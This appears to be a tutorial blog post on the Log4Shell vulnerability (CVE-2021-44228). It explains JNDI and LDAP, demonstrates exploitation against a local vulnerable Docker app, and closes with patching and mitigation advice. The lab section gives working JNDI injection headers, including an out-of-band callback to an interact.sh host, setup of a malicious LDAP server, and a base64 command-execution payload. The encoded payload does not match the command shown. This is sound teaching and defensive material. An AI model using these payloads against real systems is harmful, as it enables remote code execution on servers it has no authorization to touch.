LOG4SHELL: COME, SEE, LIVE
PreviousLOG4J: The vulnerable bookstore that is shaking the planetNextProtecting Your Child Online: Tips for Safer Internet Day
Last updated
Last updated
The LOG4J vulnerability, also called LOG4SHELL, is critical and affects Apache Log4j versions 2.0 to 2.14.1. She was identified by Chen Zhaojun from the Alibaba Cloud security team.
NIST published a critical CVE in the National Vulnerability Database on December 10, 2021, under the name CVE-2021-44228.
Apache Software Foundation assigned the maximum CVSS severity rating of 10.
The National Institute of Standards and Technology (NIST) is a non-regulatory government agency that develops technologies, metrics, and standards to drive innovation and economic competitiveness of U.S.-based science and technology organizations. technologies. As part of this effort, NIST produces standards and guidelines to help federal agencies meet the requirements of the Federal Information Security Management Act (FISMA). NIST also helps these agencies protect their information and information systems through cost-effective programs.
SOURCE: NIST.GOV
CVE-2021-44228 comes from an unlikely place: MINECRAFT. Minecraft is a very popular game developed by Mojang Studios where people can freely interact with a fully editable 3D environment.
The game's chat feature is the cause of the exploit. The communications app, running a java api with the specific version of log4j, allowed malicious actors to block machines, kick all players, and more.
Under the right circumstances, it is also possible to execute code remotely via this exploit, which is why it is so dangerous and has been marked "zero-day" or "0-day".
“Zero-day” is an umbrella term that describes the latest detected security vulnerabilities that cybercriminals can use to attack systems. The term “zero-day” refers to the fact that the vendor or developer has just become aware of the flaw, which means that they have “zero days” to correct it. A zero-day attack occurs when cybercriminals exploit the flaw before developers have a chance to patch it.
Definition: KASPERSKY
The reason for this problem is the misuse of variable interpolation and the good old JNDI api, which has been around in Java for ages. Typically, software developers use a logging mechanism to report different flows within the software. During this process, a log message is transmitted as a character string to be saved in a log file.
The Log4j library has an additional feature that allows log messages to contain variables that are translated on the fly before being written to a log file. In the case of CVE-2021-44228, log4j translates a specific argument received as a formatted string and forces it to load Java code from another Java class stored on the server or from a remote server.
Log4j2 supports by default a logging feature called "Message Lookup Substitution". This feature allows certain special strings to be replaced, at logging time, with other dynamically generated strings. For example, saving the string Running ${java:runtime} will produce a result similar to the following:
Running Java version 1.7.0_67
It was discovered that one of the search methods, specifically the JNDI search associated with the LDAP protocol, retrieves a specific Java class from a remote source and deserializes it, executing part of the class code during of the process.
Before learning how to exploit the vulnerability, two key words must be explained and understood: LDAP and JNDI.
Lightweight Directory Access Protocol (LDAP) is a protocol that allows applications to quickly query user information.
Businesses store usernames, passwords, email addresses, printer connections, and other static data in directories. LDAP is an open, vendor-neutral application protocol for accessing and retaining this data. LDAP can also support authentication, so users can log in once and access many different files on the server.
In an enterprise, the average employee logs in and queries the LDAP server hundreds of times per day. At first glance, this person may not even know they are contacting the LDAP server, but a series of complex steps are followed to complete a simple query.
For an LDAP to successfully complete a query, the following steps are typically followed:
Session Connection: The user connects to the LDAP server through an LDAP port (usually port TCP/389).
Query: The user sends the query to the LDAP server. This could be, for example, an email search.
Answer: LDAP searches the directory for relevant information and provides it to the user.
Completion: After receiving the response, the user logs out of the LDAP port.
The LDAP query steps may seem simple, but in fact a lot of work has gone into making this process transparent, and a fair amount of code has been done to make these functions possible.
JNDI stands for Java Naming and Directory Interface and is a JAVA API.
This API allows:
to access different naming or directory services in a uniform manner;
organize and search for information or objects by naming (java naming and directory interface);
to perform operations on directories (java naming and directory interface) such as:
LDAP: a lightweight directory
DNS: Domain Name System or DNS is a distributed computing service used that translates Internet domain names into IP addresses or other records
Some points regarding the JNDI architecture:
In this table you can see the levels of the architecture.
All levels of the architecture are connected to the java application.
The API provides a mechanism for binding an object to a name and for accessing naming and directory services.
SPI allows naming and directory services to be plugged in seamlessly.
The last level shows the directories that are connected to the interface.
For the test environment, what I personally use:
Virtualization software: VirtualBox or VMware
Machine Virtual: Kali Linux
To set up a server running a vulnerable version of the Log4j library, we will build a Docker image for this Spring Boot application created by christophetd which is vulnerable to Log4Shell exploitation.
First of all you need to install Docker on the Kali Linux machine.
Now you need to build an image that will include all the dependencies and source code of the vulnerable Java application.
Copy the christophetd GITHUB directory to the /tmp folder
git clone https://github.com/christophetd/log4shell-vulnerable-app.git /tmp/log4shell-vulnerable-app
Enter the file
cd /tmp/log4shell-vulnerable-app
Build the image
sudo docker build -t log4shell-app .
sudo docker run -it --network=host --name log4shell-app log4shell-app
Now there is an instance of the vulnerable application available on localhost:8080. It is possible to check this with the following command:
sudo lsof -i -P -n | grep LISTEN
Now the vulnerable application is in place in the test environment, the next step is the detection of the RCE type vulnerability via a request to a domain controlled by the attacker.
Remote Code Execution attacks allow an attacker to remotely execute malicious code on a computer. The impact of an RCE vulnerability can range from the execution of malware to an attacker taking complete control of a compromised machine.
Definition: CHECKPOINT
With the application running on localhost:8080, we can detect that the application is vulnerable to Log4Shell by submitting a Java Naming and Directory Interface (JNDI) as a value for the X-Api-Version header which triggers a request to the domain controlled by the attacker.
Visit interactsh and copy the generated hostname:
To detect external interaction, you must perform the following cURL request without forgetting to replace the interactsh host name with the one generated for your instance:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://c8kz9wf2vtc0000g4ktggrj9w6ryyyyyb.interact.sh/a}'
cURL is used in command lines or scripts to transfer data. curl is also used in cars, televisions, routers, printers, audio equipment, mobile phones, tablets, set-top boxes, media players and is the Internet transfer engine for thousands of software applications in over ten billion installations.
Definition: cURL.se
After sending the request, the domain search appears on interactsh:
In the application logs the API request attempt also appeared:
To execute the commands, you must run an LDAP server with the capabilities to exploit JNDI injection attacks. Follow the steps to download the malicious LDAP server:
Tédownload the JNDIExploit zip via the christophetd github link
-> Or via the following black9 github via the following command:
Unzip/Unzip the file:
unzip JNDIExploit.v1.2.zip
Once the ZIP archive is unzipped, the program's help menu can be accessed via the following command:
java -jar JNDIExploit-1.2-SNAPSHOT.jar -h
To start the malicious LDAP server on localhost:1389, run the command:
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 127.0.0.1 -p 9001
To obtain the reverse shell, a base64 echo command will be coded to write data to a file in the /tmp folder:
echo -n 'echo "PWNED par BE HACKTIVE" > /tmp/log4shell.txt' | base64 -w 0
Finally, execute the request via the cURL command to the vulnerable application:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://127.0.0.1:1389/Basic/Command/Base64/ZWNobyAiQkUgSEFDS1RJVkUiID4gL3RtcC9sb2c0c2hlbGwudHh0}'
To verify that the command was executed:
sudo docker exec -it log4shell-app sh
ls -l /tmp
The last chapter will discuss some important points to follow to protect yourself as much as possible from vulnerabilities linked to Log4j.
The first two questions an organization should ask itself are:
Does Log4j exist within my applications?
Where is Log4j implemented?
Specifically, it should focus on external applications that might use Log4j. This is a non-trivial task given that it is a library, rather than an installed application, and can be integrated with third-party providers and tools. For organizations that have robust resource inventories, these should be used to identify where Java, JVM (Java Virtual Machine), and Log4j libraries exist in their inventory. There are currently several resources that document known vulnerable applications and vendors. This is a great place to start. Take the time to review these listings and determine if the software is present in the organization's domain. If so, make sure the latest patches are applied.
Databases affected by Log4j
Software associated with Log4j
Log4shell security advisories
Another method of identification would be to perform internal/external vulnerability scans, many of which now provide signatures or plugins to identify vulnerable Log4j instances.
The most comprehensive protective measure is to update and patch discovered vulnerable Log4j libraries, but obviously this is not possible in all cases. As of this writing, version 2.16.0 is the most recent, and more information regarding fixes for the latest Log4j vulnerabilities is available at:
Apache Log4j Security Vulnerabilities
On December 14, 2021, a second CVE (CVE-2021-45046) was discovered in the Log4j library, rendering version 2.15.0 ineffective in certain default configurations. To resolve both CVE-2021-44228 and CVE-2021-45046, it is recommended to update the Log4j version to at least 2.16.0.
CVE-2021-44228 (CVSS score: 10.0): An RCE vulnerability affecting Log4j versions from 2.0-beta9 to 2.14.1 (Fixed in version 2.15.0)
CVE-2021-45046 (CVSS score: 9.0) - An information leak and RCE vulnerability affecting Log4j versions from 2.0-beta9 to 2.15.0, except 2.12.2 (Fixed in version 2.16. 0)
CVE-2021-45105 (CVSS score: 7.5) - A denial of service vulnerability affecting Log4j versions from 2.0-beta9 to 2.16.0 (Fixed in version 2.17.0)
It is suggested to follow Apache's advice and upgrade to log4j version 2.17.0.
However, it is not always possible to make updates, there are other possibilities to remedy flaws linked to Log4j.
This vulnerability is due to the way Log4j uses JNDI.
One way to fix this vulnerability is to disable the use of JNDI message lookups, which Log4j 2.16.0 does. However, this can also be achieved by removing the entire JndiLookup class, which implements this functionality, from an affected Log4j package. Because Java components are essentially ZIP archives, administrators can run the following command to modify and fix a vulnerable package instance:
zip -q -d Log4j-core-*.jar org/apache/logging/Log4j/core/lookup/JndiLookup.class
This attack requires the affected host to establish an initial outbound connection with the adversary's malicious LDAP server to load the vulnerable Java class. Blocking standard ports for LDAP, LDAPS and RMI (389, 636, 1099, 1389), although not exhaustive as the port can be random, can reduce the attack surface.
IPS and WAF, although not exhaustive due to the different evasion techniques possible in this attack, should be implemented to assist in detection and response.
It's time to attack the application !
We succeeded !
